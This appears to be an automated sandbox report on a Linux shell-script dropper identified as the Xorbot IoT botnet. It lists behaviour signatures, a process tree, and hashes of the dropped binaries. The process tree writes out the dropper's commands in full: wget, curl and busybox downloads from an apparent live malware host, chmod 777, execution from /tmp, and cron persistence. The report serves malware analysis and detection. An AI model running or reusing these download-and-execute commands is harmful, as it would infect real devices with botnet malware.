Analysis

  • max time kernel
    150s
  • max time network
    155s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240611-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    24/02/2025, 22:27

General

  • Target
    bins.sh
  • Size 10KB
  • Sample250224-2c59aa1ms8
  • SHA256 6f566d3abb8aabe56e5aaa88ac03e45a5791bf9596b7789d45430566a4b08526
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Detects Xorbot 4 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Contacts a large (810) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 6 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 6 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 22 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 13 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
    • Executes dropped EXE
    PID:704
    • /bin/rm
      /bin/rm bins.sh
      2⤵
        PID:707
      • /usr/bin/wget
        wget http://conn.masjesu.zip/bins/RYnXtmM5WbC95vm5NRspVgx9LpmABMjTOy
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:711
      • /usr/bin/curl
        curl -O http://conn.masjesu.zip/bins/RYnXtmM5WbC95vm5NRspVgx9LpmABMjTOy
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:733
      • /bin/busybox
        /bin/busybox wget http://conn.masjesu.zip/bins/RYnXtmM5WbC95vm5NRspVgx9LpmABMjTOy
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:735
      • /bin/chmod
        chmod 777 RYnXtmM5WbC95vm5NRspVgx9LpmABMjTOy
        2⤵
        • File and Directory Permissions Modification
        PID:736
      • /tmp/RYnXtmM5WbC95vm5NRspVgx9LpmABMjTOy
        ./RYnXtmM5WbC95vm5NRspVgx9LpmABMjTOy
        2⤵
          PID:737
        • /bin/rm
          rm RYnXtmM5WbC95vm5NRspVgx9LpmABMjTOy
          2⤵
            PID:739
          • /usr/bin/wget
            wget http://conn.masjesu.zip/bins/IXVnrcfgPW1u0KItOCn8CFjBXJuDchb8No
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:740
          • /usr/bin/curl
            curl -O http://conn.masjesu.zip/bins/IXVnrcfgPW1u0KItOCn8CFjBXJuDchb8No
            2⤵
            • Reads runtime system information
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:741
          • /bin/busybox
            /bin/busybox wget http://conn.masjesu.zip/bins/IXVnrcfgPW1u0KItOCn8CFjBXJuDchb8No
            2⤵
            • System Network Configuration Discovery
            PID:754
          • /bin/chmod
            chmod 777 IXVnrcfgPW1u0KItOCn8CFjBXJuDchb8No
            2⤵
            • File and Directory Permissions Modification
            PID:767
          • /tmp/IXVnrcfgPW1u0KItOCn8CFjBXJuDchb8No
            ./IXVnrcfgPW1u0KItOCn8CFjBXJuDchb8No
            2⤵
              PID:768
            • /bin/rm
              rm IXVnrcfgPW1u0KItOCn8CFjBXJuDchb8No
              2⤵
                PID:771
              • /usr/bin/wget
                wget http://conn.masjesu.zip/bins/Jwm4qcf3ovcyBQeWFRYKTQEwtssLlK8K5E
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:773
              • /usr/bin/curl
                curl -O http://conn.masjesu.zip/bins/Jwm4qcf3ovcyBQeWFRYKTQEwtssLlK8K5E
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:780
              • /bin/busybox
                /bin/busybox wget http://conn.masjesu.zip/bins/Jwm4qcf3ovcyBQeWFRYKTQEwtssLlK8K5E
                2⤵
                • System Network Configuration Discovery
                PID:793
              • /bin/chmod
                chmod 777 Jwm4qcf3ovcyBQeWFRYKTQEwtssLlK8K5E
                2⤵
                • File and Directory Permissions Modification
                PID:800
              • /tmp/Jwm4qcf3ovcyBQeWFRYKTQEwtssLlK8K5E
                ./Jwm4qcf3ovcyBQeWFRYKTQEwtssLlK8K5E
                2⤵
                  PID:801
                • /bin/rm
                  rm Jwm4qcf3ovcyBQeWFRYKTQEwtssLlK8K5E
                  2⤵
                    PID:803
                  • /usr/bin/wget
                    wget http://conn.masjesu.zip/bins/lytIPLoiBxyP3qA1qCfYjSThzF7UW0u7o2
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:804
                  • /usr/bin/curl
                    curl -O http://conn.masjesu.zip/bins/lytIPLoiBxyP3qA1qCfYjSThzF7UW0u7o2
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:805
                  • /bin/busybox
                    /bin/busybox wget http://conn.masjesu.zip/bins/lytIPLoiBxyP3qA1qCfYjSThzF7UW0u7o2
                    2⤵
                    • System Network Configuration Discovery
                    PID:816
                  • /bin/chmod
                    chmod 777 lytIPLoiBxyP3qA1qCfYjSThzF7UW0u7o2
                    2⤵
                    • File and Directory Permissions Modification
                    PID:825
                  • /tmp/lytIPLoiBxyP3qA1qCfYjSThzF7UW0u7o2
                    ./lytIPLoiBxyP3qA1qCfYjSThzF7UW0u7o2
                    2⤵
                    • System Network Configuration Discovery
                    PID:826
                  • /bin/rm
                    rm lytIPLoiBxyP3qA1qCfYjSThzF7UW0u7o2
                    2⤵
                    • System Network Configuration Discovery
                    PID:829
                  • /usr/bin/wget
                    wget http://conn.masjesu.zip/bins/7v3kRhHpfWB8QWtCDZ0CLUHyDmCyUEubpa
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:831
                  • /usr/bin/curl
                    curl -O http://conn.masjesu.zip/bins/7v3kRhHpfWB8QWtCDZ0CLUHyDmCyUEubpa
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:843
                  • /bin/busybox
                    /bin/busybox wget http://conn.masjesu.zip/bins/7v3kRhHpfWB8QWtCDZ0CLUHyDmCyUEubpa
                    2⤵
                    • System Network Configuration Discovery
                    PID:845
                  • /bin/chmod
                    chmod 777 7v3kRhHpfWB8QWtCDZ0CLUHyDmCyUEubpa
                    2⤵
                    • File and Directory Permissions Modification
                    PID:846
                  • /tmp/7v3kRhHpfWB8QWtCDZ0CLUHyDmCyUEubpa
                    ./7v3kRhHpfWB8QWtCDZ0CLUHyDmCyUEubpa
                    2⤵
                      PID:847
                    • /bin/rm
                      rm 7v3kRhHpfWB8QWtCDZ0CLUHyDmCyUEubpa
                      2⤵
                        PID:849
                      • /usr/bin/wget
                        wget http://conn.masjesu.zip/bins/LBOYUxEh6tBY0yxzAzKkqRRTZvdNHLnOGT
                        2⤵
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:850
                      • /usr/bin/curl
                        curl -O http://conn.masjesu.zip/bins/LBOYUxEh6tBY0yxzAzKkqRRTZvdNHLnOGT
                        2⤵
                        • Reads runtime system information
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:851
                      • /bin/busybox
                        /bin/busybox wget http://conn.masjesu.zip/bins/LBOYUxEh6tBY0yxzAzKkqRRTZvdNHLnOGT
                        2⤵
                        • System Network Configuration Discovery
                        PID:853
                      • /bin/chmod
                        chmod 777 LBOYUxEh6tBY0yxzAzKkqRRTZvdNHLnOGT
                        2⤵
                        • File and Directory Permissions Modification
                        PID:854
                      • /tmp/LBOYUxEh6tBY0yxzAzKkqRRTZvdNHLnOGT
                        ./LBOYUxEh6tBY0yxzAzKkqRRTZvdNHLnOGT
                        2⤵
                        • Renames itself
                        • Reads runtime system information
                        PID:855
                        • /bin/sh
                          sh -c "crontab -l"
                          3⤵
                            PID:857
                            • /usr/bin/crontab
                              crontab -l
                              4⤵
                              • Reads runtime system information
                              PID:858
                          • /bin/sh
                            sh -c "crontab -"
                            3⤵
                              PID:859
                              • /usr/bin/crontab
                                crontab -
                                4⤵
                                • Creates/modifies Cron job
                                • Reads runtime system information
                                PID:860
                          • /bin/rm
                            rm LBOYUxEh6tBY0yxzAzKkqRRTZvdNHLnOGT
                            2⤵
                              PID:862
                            • /usr/bin/wget
                              wget http://conn.masjesu.zip/bins/uWKKIOInzVxLHt6j35DOeABwDOlx3Ek6lI
                              2⤵
                              • System Network Configuration Discovery
                              PID:865
                            • /usr/bin/curl
                              curl -O http://conn.masjesu.zip/bins/uWKKIOInzVxLHt6j35DOeABwDOlx3Ek6lI
                              2⤵
                              • System Network Configuration Discovery
                              PID:866

                          Network

                                MITRE ATT&CK Enterprise v15

                                Replay Monitor

                                Loading Replay Monitor...

                                Downloads

                                7v3kRhHpfWB8QWtCDZ0CLUHyDmCyUEubpa

                                • Path /tmp/7v3kRhHpfWB8QWtCDZ0CLUHyDmCyUEubpa
                                • Size 107KB
                                • SHA256 dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47
                                • MD5 SHA1 SHA512 SSDEEP

                                IXVnrcfgPW1u0KItOCn8CFjBXJuDchb8No

                                • Path /tmp/IXVnrcfgPW1u0KItOCn8CFjBXJuDchb8No
                                • Size 177KB
                                • SHA256 5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18
                                • MD5 SHA1 SHA512 SSDEEP

                                Jwm4qcf3ovcyBQeWFRYKTQEwtssLlK8K5E

                                • Path /tmp/Jwm4qcf3ovcyBQeWFRYKTQEwtssLlK8K5E
                                • Size 111KB
                                • SHA256 043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832
                                • MD5 SHA1 SHA512 SSDEEP

                                LBOYUxEh6tBY0yxzAzKkqRRTZvdNHLnOGT

                                • Path /tmp/LBOYUxEh6tBY0yxzAzKkqRRTZvdNHLnOGT
                                • Size 151KB
                                • SHA256 bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2
                                • MD5 SHA1 SHA512 SSDEEP

                                RYnXtmM5WbC95vm5NRspVgx9LpmABMjTOy

                                • Path /tmp/RYnXtmM5WbC95vm5NRspVgx9LpmABMjTOy
                                • Size 98KB
                                • SHA256 54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
                                • MD5 SHA1 SHA512 SSDEEP

                                lytIPLoiBxyP3qA1qCfYjSThzF7UW0u7o2

                                • Path /tmp/lytIPLoiBxyP3qA1qCfYjSThzF7UW0u7o2
                                • Size 122KB
                                • SHA256 0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944
                                • MD5 SHA1 SHA512 SSDEEP

                                tmp.IJ4lv9

                                • Path /var/spool/cron/crontabs/tmp.IJ4lv9
                                • Size 210B
                                • SHA256 01b58168870ae859d8c632d45993a0b34d0957ccf3aab5d12a751da0648046bf
                                • MD5 SHA1 SHA512